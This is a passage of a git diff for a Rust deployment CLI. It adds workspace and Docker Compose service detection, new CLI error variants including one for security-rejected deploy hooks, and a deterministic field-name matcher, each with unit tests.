@@ -167,6 +219,341 @@ pub fn detect_project(
     detection
 }
 
+pub fn detect_workspace(project_path: &Path, fs: &dyn FileSystem) -> WorkspaceDetection {
+    let root = detect_project(project_path, fs);
+    let mut detection = WorkspaceDetection {
+        root,
+        ..Default::default()
+    };
+    let mut compose_seen = BTreeSet::new();
+    walk_workspace(
+        project_path,
+        project_path,
+        0,
+        fs,
+        &mut detection,
+        &mut compose_seen,
+    );
+
+    detection
+        .apps
+        .sort_by(|left, right| left.path.cmp(&right.path));
+    detection
+        .compose_stacks
+        .sort_by(|left, right| left.path.cmp(&right.path));
+    detection.recommended_compose_file = detection
+        .compose_stacks
+        .iter()
+        .max_by_key(|stack| {
+            (
+                has_include(&project_path.join(&stack.path), fs),
+                stack.services.len(),
+                std::cmp::Reverse(stack.path.components().count()),
+            )
+        })
+        .map(|stack| stack.path.clone());
+    detection
+}
+
+fn walk_workspace(
+    base_path: &Path,
+    current_path: &Path,
+    depth: usize,
+    fs: &dyn FileSystem,
+    detection: &mut WorkspaceDetection,
+    compose_seen: &mut BTreeSet<PathBuf>,
+) {
+    if depth > 5 {
+        return;
+    }
+
+    let entries = match fs.list_dir(current_path) {
+        Ok(entries) => entries,
+        Err(_) => return,
+    };
+
+    if current_path != base_path {
+        let project = detect_project(current_path, fs);
+        if let Some(app) = build_discovered_app(base_path, current_path, &project) {
+            detection.apps.push(app);
+        }
+    }
+
+    for entry in entries {
+        let child_path = current_path.join(&entry);
+
+        if is_compose_file_name(&entry) {
+            let relative = relative_path(base_path, &child_path);
+            if compose_seen.insert(relative.clone()) {
+                let (services, detected_services) =
+                    parse_compose_services(&child_path, base_path, fs);
+                detection.compose_stacks.push(ComposeStack {
+                    path: relative,
+                    services,
+                    detected_services,
+                });
+            }
+            continue;
+        }
+
+        if should_skip_dir(&entry) {
+            continue;
+        }
+
+        if fs.list_dir(&child_path).is_ok() {
+            walk_workspace(
+                base_path,
+                &child_path,
+                depth + 1,
+                fs,
+                detection,
+                compose_seen,
+            );
+        }
+    }
+}
+
+fn build_discovered_app(
+    base_path: &Path,
+    current_path: &Path,
+    project: &ProjectDetection,
+) -> Option<DiscoveredApp> {
+    if project.app_type == AppType::Custom && !project.has_dockerfile {
+        return None;
+    }
+
+    let relative = relative_path(base_path, current_path);
+    let name = current_path
+        .file_name()
+        .and_then(|value| value.to_str())
+        .unwrap_or("app")
+        .to_string();
+    let dockerfile = project.has_dockerfile.then(|| relative.join("Dockerfile"));
+
+    Some(DiscoveredApp {
+        name,
+        path: relative,
+        app_type: if project.has_dockerfile {
+            AppType::Custom
+        } else {
+            project.app_type
+        },
+        has_dockerfile: project.has_dockerfile,
+        dockerfile,
+        detected_files: project.detected_files.clone(),
+    })
+}
+
+fn relative_path(base: &Path, target: &Path) -> PathBuf {
+    normalize_path(target)
+        .strip_prefix(base)
+        .map(Path::to_path_buf)
+        .unwrap_or_else(|_| target.to_path_buf())
+}
+
+fn normalize_path(path: &Path) -> PathBuf {
+    let mut normalized = PathBuf::new();
+
+    for component in path.components() {
+        match component {
+            std::path::Component::CurDir => {}
+            std::path::Component::ParentDir => {
+                normalized.pop();
+            }
+            other => normalized.push(other.as_os_str()),
+        }
+    }
+
+    normalized
+}
+
+fn should_skip_dir(entry: &str) -> bool {
+    entry.starts_with('.') || IGNORED_DIR_NAMES.iter().any(|name| name == &entry)
+}
+
+fn is_compose_file_name(entry: &str) -> bool {
+    COMPOSE_NAMES.iter().any(|name| name == &entry)
+}
+
+fn has_include(compose_path: &Path, fs: &dyn FileSystem) -> bool {
+    fs.read_to_string(compose_path)
+        .ok()
+        .and_then(|content| serde_yaml::from_str::<serde_yaml::Value>(&content).ok())
+        .and_then(|value| value.get("include").cloned())
+        .is_some()
+}
+
+fn parse_compose_services(
+    compose_path: &Path,
+    base_path: &Path,
+    fs: &dyn FileSystem,
+) -> (Vec<String>, Vec<DetectedComposeService>) {
+    let mut local = BTreeMap::new();
+    let mut visited = BTreeSet::new();
+    parse_compose_services_recursive(compose_path, base_path, fs, &mut visited, &mut local);
+    let services: Vec<DetectedComposeService> = local.into_values().collect();
+    let names = services
+        .iter()
+        .map(|service| service.name.clone())
+        .collect();
+    (names, services)
+}
+
+fn parse_compose_services_recursive(
+    compose_path: &Path,
+    base_path: &Path,
+    fs: &dyn FileSystem,
+    visited: &mut BTreeSet<PathBuf>,
+    local: &mut BTreeMap<String, DetectedComposeService>,
+) {
+    let relative = relative_path(base_path, compose_path);
+    if !visited.insert(relative) {
+        return;
+    }
+
+    let content = match fs.read_to_string(compose_path) {
+        Ok(content) => content,
+        Err(_) => return,
+    };
+    let parsed = match serde_yaml::from_str::<serde_yaml::Value>(&content) {
+        Ok(parsed) => parsed,
+        Err(_) => return,
+    };
+
+    if let Some(services) = parsed.get("services").and_then(|value| value.as_mapping()) {
+        for (service_name, service_value) in services {
+            let Some(service_name) = service_name.as_str() else {
+                continue;
+            };
+            local.insert(
+                service_name.to_string(),
+                parse_compose_service(service_name, service_value),
+            );
+        }
+    }
+
+    if let Some(include_value) = parsed.get("include") {
+        let include_paths: Vec<String> = match include_value {
+            serde_yaml::Value::String(value) => vec![value.clone()],
+            serde_yaml::Value::Sequence(items) => items
+                .iter()
+                .filter_map(|item| item.as_str().map(ToOwned::to_owned))
+                .collect(),
+            _ => Vec::new(),
+        };
+
+        for include in include_paths {
+            let include_path = compose_path
+                .parent()
+                .unwrap_or_else(|| Path::new("."))
+                .join(include);
+            let include_path = normalize_path(&include_path);
+            parse_compose_services_recursive(&include_path, base_path, fs, visited, local);
+        }
+    }
+}
+
+fn parse_compose_service(name: &str, service_value: &serde_yaml::Value) -> DetectedComposeService {
+    let Some(service_map) = service_value.as_mapping() else {
+        return DetectedComposeService {
+            name: name.to_string(),
+            image: None,
+            ports: Vec::new(),
+            environment: HashMap::new(),
+            volumes: Vec::new(),
+            depends_on: Vec::new(),
+        };
+    };
+
+    let image = service_map
+        .get(serde_yaml::Value::String("image".to_string()))
+        .and_then(|value| value.as_str())
+        .map(ToOwned::to_owned);
+    let ports = service_map
+        .get(serde_yaml::Value::String("ports".to_string()))
+        .map(parse_string_list)
+        .unwrap_or_default();
+    let environment = service_map
+        .get(serde_yaml::Value::String("environment".to_string()))
+        .map(parse_environment)
+        .unwrap_or_default();
+    let volumes = service_map
+        .get(serde_yaml::Value::String("volumes".to_string()))
+        .map(parse_string_list)
+        .unwrap_or_default();
+    let depends_on = service_map
+        .get(serde_yaml::Value::String("depends_on".to_string()))
+        .map(parse_depends_on)
+        .unwrap_or_default();
+
+    DetectedComposeService {
+        name: name.to_string(),
+        image,
+        ports,
+        environment,
+        volumes,
+        depends_on,
+    }
+}
+
+fn parse_string_list(value: &serde_yaml::Value) -> Vec<String> {
+    match value {
+        serde_yaml::Value::Sequence(items) => items
+            .iter()
+            .filter_map(|item| match item {
+                serde_yaml::Value::String(text) => Some(text.clone()),
+                serde_yaml::Value::Number(number) => Some(number.to_string()),
+                _ => None,
+            })
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+fn parse_environment(value: &serde_yaml::Value) -> HashMap<String, String> {
+    match value {
+        serde_yaml::Value::Mapping(entries) => entries
+            .iter()
+            .filter_map(|(key, value)| {
+                Some((key.as_str()?.to_string(), yaml_scalar_to_string(value)?))
+            })
+            .collect(),
+        serde_yaml::Value::Sequence(items) => items
+            .iter()
+            .filter_map(|item| {
+                let text = item.as_str()?;
+                let (key, value) = text.split_once('=')?;
+                Some((key.to_string(), value.to_string()))
+            })
+            .collect(),
+        _ => HashMap::new(),
+    }
+}
+
+fn parse_depends_on(value: &serde_yaml::Value) -> Vec<String> {
+    match value {
+        serde_yaml::Value::Sequence(items) => items
+            .iter()
+            .filter_map(|item| item.as_str().map(ToOwned::to_owned))
+            .collect(),
+        serde_yaml::Value::Mapping(entries) => entries
+            .keys()
+            .filter_map(|key| key.as_str().map(ToOwned::to_owned))
+            .collect(),
+        _ => Vec::new(),
+    }
+}
+
+fn yaml_scalar_to_string(value: &serde_yaml::Value) -> Option<String> {
+    match value {
+        serde_yaml::Value::String(text) => Some(text.clone()),
+        serde_yaml::Value::Bool(flag) => Some(flag.to_string()),
+        serde_yaml::Value::Number(number) => Some(number.to_string()),
+        serde_yaml::Value::Null => Some(String::new()),
+        _ => None,
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Tests — Phase 2
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -177,33 +564,60 @@ mod tests {
 
     /// In-memory mock filesystem for deterministic testing without I/O.
     struct MockFileSystem {
-        files: Vec<String>,
+        dirs: std::collections::HashMap<PathBuf, Vec<String>>,
+        contents: std::collections::HashMap<PathBuf, String>,
     }
 
     impl MockFileSystem {
-        fn with_files(files: &[&str]) -> Self {
+        fn with_dir(path: &str, files: &[&str]) -> Self {
+            let mut dirs = std::collections::HashMap::new();
+            dirs.insert(
+                PathBuf::from(path),
+                files.iter().map(|value| value.to_string()).collect(),
+            );
+
             Self {
-                files: files.iter().map(|s| s.to_string()).collect(),
+                dirs,
+                contents: std::collections::HashMap::new(),
             }
         }
+
+        fn add_dir(mut self, path: &str, files: &[&str]) -> Self {
+            self.dirs.insert(
+                PathBuf::from(path),
+                files.iter().map(|value| value.to_string()).collect(),
+            );
+            self
+        }
+
+        fn add_file(mut self, path: &str, content: &str) -> Self {
+            self.contents
+                .insert(PathBuf::from(path), content.to_string());
+            self
+        }
     }
 
     impl FileSystem for MockFileSystem {
         fn exists(&self, path: &Path) -> bool {
-            let name = path
-                .file_name()
-                .map(|n| n.to_string_lossy().to_string())
-                .unwrap_or_default();
-            self.files.contains(&name)
+            self.contents.contains_key(path) || self.dirs.contains_key(path)
+        }
+
+        fn list_dir(&self, path: &Path) -> Result<Vec<String>, std::io::Error> {
+            self.dirs
+                .get(path)
+                .cloned()
+                .ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "missing dir"))
         }
 
-        fn list_dir(&self, _path: &Path) -> Result<Vec<String>, std::io::Error> {
-            Ok(self.files.clone())
+        fn read_to_string(&self, path: &Path) -> Result<String, std::io::Error> {
+            self.contents.get(path).cloned().ok_or_else(|| {
+                std::io::Error::new(std::io::ErrorKind::NotFound, "missing file contents")
+            })
         }
     }
 
     fn detect_with(files: &[&str]) -> ProjectDetection {
-        let fs = MockFileSystem::with_files(files);
+        let fs = MockFileSystem::with_dir("/test", files);
         detect_project(Path::new("/test"), &fs)
     }
 
@@ -284,6 +698,69 @@ mod tests {
         assert!(det.has_env_file);
     }
 
+    #[test]
+    fn test_detect_workspace_finds_nested_apps_and_compose_services() {
+        let fs =
+            MockFileSystem::with_dir("/repo", &["device-api", "upload", "docker", "README.md"])
+                .add_dir("/repo/device-api", &["Cargo.toml", "Dockerfile", "docker"])
+                .add_dir("/repo/upload", &["Cargo.toml", "Dockerfile", "docker"])
+            .add_dir("/repo/docker", &["local"])
+            .add_dir("/repo/docker/local", &["compose.yml"])
+            .add_file(
+                "/repo/docker/local/compose.yml",
+                "include:\n  - ../../device-api/docker/local/compose.yml\n  - ../../upload/docker/local/compose.yml\n",
+            )
+            .add_dir("/repo/device-api/docker", &["local"])
+            .add_dir("/repo/device-api/docker/local", &["compose.yml"])
+            .add_file(
+                "/repo/device-api/docker/local/compose.yml",
+                "services:\n  device-api:\n    build: .\n",
+            )
+            .add_dir("/repo/upload/docker", &["local"])
+            .add_dir("/repo/upload/docker/local", &["compose.yml"])
+            .add_file(
+                "/repo/upload/docker/local/compose.yml",
+                "services:\n  upload:\n    build: .\n  redis:\n    image: redis:7\n    ports:\n      - \"6379:6379\"\n    environment:\n      REDIS_PASSWORD: secret\n",
+            );
+
+        let detection = detect_workspace(Path::new("/repo"), &fs);
+
+        assert_eq!(detection.apps.len(), 2);
+        assert_eq!(
+            detection
+                .apps
+                .iter()
+                .map(|app| app.name.as_str())
+                .collect::<Vec<_>>(),
+            vec!["device-api", "upload"]
+        );
+        assert_eq!(
+            detection.recommended_compose_file,
+            Some(PathBuf::from("docker/local/compose.yml"))
+        );
+        assert_eq!(detection.compose_stacks.len(), 3);
+        let root_stack = detection
+            .compose_stacks
+            .iter()
+            .find(|stack| stack.path == PathBuf::from("docker/local/compose.yml"))
+            .unwrap();
+        assert_eq!(root_stack.services, vec!["device-api", "redis", "upload"]);
+        let redis = root_stack
+            .detected_services
+            .iter()
+            .find(|service| service.name == "redis")
+            .unwrap();
+        assert_eq!(redis.image.as_deref(), Some("redis:7"));
+        assert_eq!(redis.ports, vec!["6379:6379"]);
+        assert_eq!(
+            redis
+                .environment
+                .get("REDIS_PASSWORD")
+                .map(|value| value.as_str()),
+            Some("secret")
+        );
+    }
+
     #[test]
     fn test_detection_to_app_type_via_from() {
         let detection = ProjectDetection {
diff --git a/src/cli/error.rs b/src/cli/error.rs
index c942e6a0..4bac4393 100644
--- a/src/cli/error.rs
+++ b/src/cli/error.rs
@@ -2,6 +2,7 @@ use std::fmt;
 use std::path::PathBuf;
 
 use crate::cli::config_parser::DeployTarget;
+use crate::services::TypedErrorEnvelope;
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // CliError — unified error hierarchy for all CLI operations
@@ -10,27 +11,60 @@ use crate::cli::config_parser::DeployTarget;
 #[derive(Debug)]
 pub enum CliError {
     // Config errors
-    ConfigNotFound { path: PathBuf },
-    ConfigParseFailed { source: serde_yaml::Error },
+    ConfigNotFound {
+        path: PathBuf,
+    },
+    ConfigParseFailed {
+        source: serde_yaml::Error,
+    },
     ConfigValidation(String),
-    EnvVarNotFound { var_name: String },
+    EnvVarNotFound {
+        var_name: String,
+    },
 
     // Detection errors
-    DetectionFailed { path: PathBuf, reason: String },
+    DetectionFailed {
+        path: PathBuf,
+        reason: String,
+    },
 
     // Generator errors
     GeneratorError(String),
-    DockerfileExists { path: PathBuf },
+    DockerfileExists {
+        path: PathBuf,
+    },
 
     // Deployment errors
-    DeployFailed { target: DeployTarget, reason: String },
-    LoginRequired { feature: String },
+    DeployFailed {
+        target: DeployTarget,
+        reason: String,
+    },
+    /// A deploy hook (`pre_build`, `post_deploy`, `on_failure`) was
+    /// rejected BEFORE execution by the security scanner or the trust
+    /// policy — path traversal, malicious content pattern, or
+    /// marketplace-untrusted origin without `--allow-untrusted-hooks`.
+    ///
+    /// This is distinct from `DeployFailed` on purpose: the deploy
+    /// pipeline treats runtime hook failures (non-zero exit code) as
+    /// best-effort warnings, but security rejections MUST propagate so
+    /// a hostile stacker.yml can't turn a successful deploy into a
+    /// silent security-check bypass. See `Phase 6b` in the audit.
+    HookRejected {
+        hook_name: String,
+        reason: String,
+    },
+    LoginRequired {
+        feature: String,
+    },
     CloudProviderMissing,
     ServerHostMissing,
 
     // Runtime errors
     ContainerRuntimeUnavailable,
-    CommandFailed { command: String, exit_code: i32 },
+    CommandFailed {
+        command: String,
+        exit_code: i32,
+    },
 
     // Auth errors
     AuthFailed(String),
@@ -38,21 +72,38 @@ pub enum CliError {
 
     // AI errors
     AiNotConfigured,
-    AiProviderError { provider: String, message: String },
+    AiProviderError {
+        provider: String,
+        message: String,
+    },
 
     // Proxy errors
     ProxyConfigFailed(String),
 
+    // Feature-scoped command errors
+    FeatureFailed {
+        feature: String,
+        reason: String,
+    },
+
     // Secrets/env errors
-    EnvFileNotFound { path: std::path::PathBuf },
-    SecretKeyNotFound { key: String },
+    EnvFileNotFound {
+        path: std::path::PathBuf,
+    },
+    SecretKeyNotFound {
+        key: String,
+    },
 
     // Marketplace errors
     MarketplaceFailed(String),
 
     // Agent errors
-    AgentNotFound { deployment_hash: String },
-    AgentOffline { deployment_hash: String },
+    AgentNotFound {
+        deployment_hash: String,
+    },
+    AgentOffline {
+        deployment_hash: String,
+    },
     AgentCommandTimeout {
         command_id: String,
         /// Human-readable label for the command (e.g. "Fetching containers")
@@ -61,10 +112,14 @@ pub enum CliError {
         last_status: String,
         deployment_hash: String,
     },
-    AgentCommandFailed { command_id: String, error: String },
+    AgentCommandFailed {
+        command_id: String,
+        error: String,
+    },
 
     // IO errors
     Io(std::io::Error),
+    Typed(TypedErrorEnvelope),
 }
 
 impl fmt::Display for CliError {
@@ -102,6 +157,9 @@ impl fmt::Display for CliError {
             Self::DeployFailed { target, reason } => {
                 write!(f, "Deployment to {target} failed: {reason}")
             }
+            Self::HookRejected { hook_name, reason } => {
+                write!(f, "Hook '{hook_name}' rejected before execution: {reason}")
+            }
             Self::LoginRequired { feature } => {
                 write!(f, "Login required for {feature}. Run: stacker login")
             }
@@ -145,6 +203,9 @@ impl fmt::Display for CliError {
             Self::ProxyConfigFailed(msg) => {
                 write!(f, "Proxy configuration failed: {msg}")
             }
+            Self::FeatureFailed { feature, reason } => {
+                write!(f, "{feature} failed: {reason}")
+            }
             Self::EnvFileNotFound { path } => {
                 write!(f, "Env file not found: {}", path.display())
             }
@@ -208,6 +269,9 @@ impl fmt::Display for CliError {
             Self::Io(err) => {
                 write!(f, "I/O error: {err}")
             }
+            Self::Typed(envelope) => {
+                write!(f, "{}", envelope.to_json())
+            }
         }
     }
 }
@@ -226,6 +290,12 @@ impl From<serde_yaml::Error> for CliError {
     }
 }
 
+impl From<TypedErrorEnvelope> for CliError {
+    fn from(envelope: TypedErrorEnvelope) -> Self {
+        Self::Typed(envelope)
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // ValidationIssue — structured validation results
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -241,7 +311,11 @@ pub struct ValidationIssue {
 impl fmt::Display for ValidationIssue {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         match &self.field {
-            Some(field) => write!(f, "[{}] {}: {} ({})", self.severity, self.code, self.message, field),
+            Some(field) => write!(
+                f,
+                "[{}] {}: {} ({})",
+                self.severity, self.code, self.message, field
+            ),
             None => write!(f, "[{}] {}: {}", self.severity, self.code, self.message),
         }
     }
@@ -292,10 +366,7 @@ mod tests {
             msg.contains("Configuration file not found"),
             "Expected 'Configuration file not found' in: {msg}"
         );
-        assert!(
-            msg.contains("/tmp/stacker.yml"),
-            "Expected path in: {msg}"
-        );
+        assert!(msg.contains("/tmp/stacker.yml"), "Expected path in: {msg}");
     }
 
     #[test]
@@ -304,10 +375,7 @@ mod tests {
             var_name: "DB_PASSWORD".to_string(),
         };
         let msg = format!("{err}");
-        assert!(
-            msg.contains("DB_PASSWORD"),
-            "Expected var name in: {msg}"
-        );
+        assert!(msg.contains("DB_PASSWORD"), "Expected var name in: {msg}");
     }
 
     #[test]
@@ -400,7 +468,10 @@ mod tests {
         assert!(msg.contains("[error]"), "Expected severity in: {msg}");
         assert!(msg.contains("E001"), "Expected code in: {msg}");
         assert!(msg.contains("port conflict"), "Expected message in: {msg}");
-        assert!(msg.contains("services[0].ports"), "Expected field in: {msg}");
+        assert!(
+            msg.contains("services[0].ports"),
+            "Expected field in: {msg}"
+        );
     }
 
     #[test]
diff --git a/src/cli/field_matcher.rs b/src/cli/field_matcher.rs
new file mode 100644
index 00000000..a50b3930
--- /dev/null
+++ b/src/cli/field_matcher.rs
@@ -0,0 +1,329 @@
+use std::collections::HashMap;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// FieldMatcher trait — abstraction for pipe field matching
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Suggestion for a field transformation (beyond 1:1 mapping).
+#[derive(Debug, Clone)]
+pub struct TransformSuggestion {
+    pub target_field: String,
+    pub expression: String,
+    pub description: String,
+}
+
+/// Result of field matching: the mapping, per-field confidence, and optional transformations.
+#[derive(Debug, Clone)]
+pub struct FieldMatchResult {
+    /// The mapping from target field → JSONPath source expression.
+    pub mapping: serde_json::Value,
+    /// Per-field confidence scores (0.0–1.0). Deterministic matcher always returns 1.0.
+    pub confidence: HashMap<String, f32>,
+    /// AI-only: suggested transformations for complex mappings.
+    pub suggestions: Vec<TransformSuggestion>,
+    /// Which matching mode produced this result.
+    pub mode: MatchingMode,
+}
+
+/// Which matching strategy was used.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum MatchingMode {
+    Deterministic,
+    Ai,
+    Ml,
+}
+
+impl std::fmt::Display for MatchingMode {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::Deterministic => write!(f, "deterministic"),
+            Self::Ai => write!(f, "ai"),
+            Self::Ml => write!(f, "ml"),
+        }
+    }
+}
+
+/// Trait for field matching strategies.
+pub trait FieldMatcher {
+    fn match_fields(
+        &self,
+        src_fields: &[String],
+        tgt_fields: &[String],
+        source_sample: Option<&serde_json::Value>,
+    ) -> FieldMatchResult;
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// FIELD_ALIASES — semantic alias groups
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Common semantic aliases for field name matching.
+pub const FIELD_ALIASES: &[(&[&str], &[&str])] = &[
+    (
+        &["email", "user_email", "mail", "email_address"],
+        &["email", "user_email", "mail", "email_address"],
+    ),
+    (
+        &["name", "display_name", "full_name", "username"],
+        &["name", "display_name", "full_name", "username"],
+    ),
+    (
+        &["first_name", "fname", "given_name"],
+        &["first_name", "fname", "given_name"],
+    ),
+    (
+        &["last_name", "lname", "family_name", "surname"],
+        &["last_name", "lname", "family_name", "surname"],
+    ),
+    (
+        &["phone", "phone_number", "tel", "telephone"],
+        &["phone", "phone_number", "tel", "telephone"],
+    ),
+    (
+        &["address", "street", "street_address"],
+        &["address", "street", "street_address"],
+    ),
+    (&["city", "town"], &["city", "town"]),
+    (&["country", "country_code"], &["country", "country_code"]),
+    (
+        &["title", "subject", "heading"],
+        &["title", "subject", "heading"],
+    ),
+    (
+        &["body", "content", "text", "description", "message"],
+        &["body", "content", "text", "description", "message"],
+    ),
+    (
+        &["url", "link", "href", "website"],
+        &["url", "link", "href", "website"],
+    ),
+    (&["id", "identifier"], &["id", "identifier"]),
+    (
+        &["created_at", "created", "date_created"],
+        &["created_at", "created", "date_created"],
+    ),
+    (
+        &["updated_at", "updated", "date_updated", "modified"],
+        &["updated_at", "updated", "date_updated", "modified"],
+    ),
+];
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// DeterministicFieldMatcher — 4-layer matching algorithm
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Deterministic field matcher using the 4-layer algorithm:
+/// 1. Exact name match
+/// 2. Case-insensitive match
+/// 3. Semantic alias match
+/// 4. Type-aware suffix match (requires sample data)
+pub struct DeterministicFieldMatcher;
+
+impl FieldMatcher for DeterministicFieldMatcher {
+    fn match_fields(
+        &self,
+        src_fields: &[String],
+        tgt_fields: &[String],
+        source_sample: Option<&serde_json::Value>,
+    ) -> FieldMatchResult {
+        let mapping = smart_field_match(src_fields, tgt_fields, source_sample);
+        let mut confidence = HashMap::new();
+
+        if let Some(obj) = mapping.as_object() {
+            for key in obj.keys() {
+                confidence.insert(key.clone(), 1.0);
+            }
+        }
+
+        FieldMatchResult {
+            mapping,
+            confidence,
+            suggestions: Vec::new(),
+            mode: MatchingMode::Deterministic,
+        }
+    }
+}
+
+/// Smart field matching: exact name → case-insensitive → semantic aliases → type-aware.
+fn smart_field_match(
+    src_fields: &[String],
+    tgt_fields: &[String],
+    source_sample: Option<&serde_json::Value>,
+) -> serde_json::Value {
+    let mut mapping = serde_json::Map::new();
+
+    for tgt_field in tgt_fields {
+        // 1. Exact name match
+        if src_fields.contains(tgt_field) {
+            mapping.insert(
+                tgt_field.clone(),
+                serde_json::Value::String(format!("$.{}", tgt_field)),
+            );
+            continue;
+        }
+
+        // 2. Case-insensitive match
+        let tgt_lower = tgt_field.to_ascii_lowercase();
+        if let Some(src) = src_fields
+            .iter()
+            .find(|s| s.to_ascii_lowercase() == tgt_lower)
+        {
+            mapping.insert(
+                tgt_field.clone(),
+                serde_json::Value::String(format!("$.{}", src)),
+            );
+            continue;
+        }
+
+        // 3. Semantic alias match
+        let mut found_alias = false;
+        for (group_a, group_b) in FIELD_ALIASES {
+            if group_a.iter().any(|a| a.eq_ignore_ascii_case(tgt_field)) {
+                if let Some(src) = src_fields
+                    .iter()
+                    .find(|sf| group_b.iter().any(|b| b.eq_ignore_ascii_case(sf)))
+                {
+                    mapping.insert(
+                        tgt_field.clone(),
+                        serde_json::Value::String(format!("$.{}", src)),
+                    );
+                    found_alias = true;
+                    break;
+                }
+            }
+        }
+        if found_alias {
+            continue;
+        }
+
+        // 4. Type-aware match using sample data (if available)
+        if let Some(sample) = source_sample {
+            if let Some(obj) = sample.as_object() {
+                let mapped_sources: Vec<&str> = mapping
+                    .values()
+                    .filter_map(|v| v.as_str())
+                    .filter_map(|s| s.strip_prefix("$."))
+                    .collect();
+
+                let tgt_suffix = tgt_field.rsplit('_').next().unwrap_or(tgt_field);
+                if let Some(src) = src_fields.iter().find(|sf| {
+                    !mapped_sources.contains(&sf.as_str())
+                        && sf.ends_with(tgt_suffix)
+                        && sf.as_str() != tgt_field.as_str()
+                        && obj.contains_key(sf.as_str())
+                }) {
+                    mapping.insert(
+                        tgt_field.clone(),
+                        serde_json::Value::String(format!("$.{}", src)),
+                    );
+                }
+            }
+        }
+    }
+
+    serde_json::Value::Object(mapping)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn test_deterministic_exact_match() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["email".to_string(), "name".to_string(), "id".to_string()];
+        let tgt = vec!["email".to_string(), "name".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.email");
+        assert_eq!(map["name"], "$.name");
+        assert_eq!(result.mode, MatchingMode::Deterministic);
+        assert_eq!(*result.confidence.get("email").unwrap(), 1.0);
+    }
+
+    #[test]
+    fn test_deterministic_case_insensitive() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["Email".to_string(), "UserName".to_string()];
+        let tgt = vec!["email".to_string(), "username".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.Email");
+        assert_eq!(map["username"], "$.UserName");
+    }
+
+    #[test]
+    fn test_deterministic_semantic_aliases() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["user_email".to_string(), "display_name".to_string()];
+        let tgt = vec!["email".to_string(), "name".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["email"], "$.user_email");
+        assert_eq!(map["name"], "$.display_name");
+    }
+
+    #[test]
+    fn test_deterministic_type_aware_suffix() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["author_id".to_string(), "post_id".to_string()];
+        let tgt = vec!["user_id".to_string()];
+        let sample = json!({"author_id": 42, "post_id": 1});
+        let result = matcher.match_fields(&src, &tgt, Some(&sample));
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map["user_id"], "$.author_id");
+    }
+
+    #[test]
+    fn test_deterministic_no_matches() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["foo".to_string()];
+        let tgt = vec!["bar".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert!(map.is_empty());
+        assert!(result.confidence.is_empty());
+        assert!(result.suggestions.is_empty());
+    }
+
+    #[test]
+    fn test_deterministic_mixed_strategies() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec![
+            "email".to_string(),
+            "display_name".to_string(),
+            "Phone".to_string(),
+        ];
+        let tgt = vec![
+            "email".to_string(),
+            "name".to_string(),
+            "phone".to_string(),
+            "unknown".to_string(),
+        ];
+        let result = matcher.match_fields(&src, &tgt, None);
+        let map = result.mapping.as_object().unwrap();
+        assert_eq!(map.len(), 3);
+        assert_eq!(map["email"], "$.email");
+        assert_eq!(map["name"], "$.display_name");
+        assert_eq!(map["phone"], "$.Phone");
+        assert!(!map.contains_key("unknown"));
+        assert_eq!(result.confidence.len(), 3);
+    }
+
+    #[test]
+    fn test_matching_mode_display() {
+        assert_eq!(MatchingMode::Deterministic.to_string(), "deterministic");
+        assert_eq!(MatchingMode::Ai.to_string(), "ai");
+        assert_eq!(MatchingMode::Ml.to_string(), "ml");
+    }
+
+    #[test]
+    fn test_field_match_result_default_no_suggestions() {
+        let matcher = DeterministicFieldMatcher;
+        let src = vec!["email".to_string()];
+        let tgt = vec!["email".to_string()];
+        let result = matcher.match_fields(&src, &tgt, None);
+        assert!(result.suggestions.is_empty());
+    }
+}
diff --git a/src/cli/generator/compose.rs b/src/cli/generator/compose.rs
index ce354fe4..44fe2a20 100644
--- a/src/cli/generator/compose.rs
+++ b/src/cli/generator/compose.rs
@@ -4,7 +4,7 @@ use std::fmt;
 use std::path::Path;
 
 use crate::cli::config_parser::{
-    AppType, ProxyType, ServiceDefinition, StackerConfig,
+    AppType, ComposeHealthcheck, DomainConfig, ProxyType, ServiceDefinition, StackerConfig,
 };
 use crate::cli::error::CliError;
 
@@ -24,8 +24,13 @@ pub struct ComposeService {
     pub depends_on: Vec<String>,
     pub restart: String,
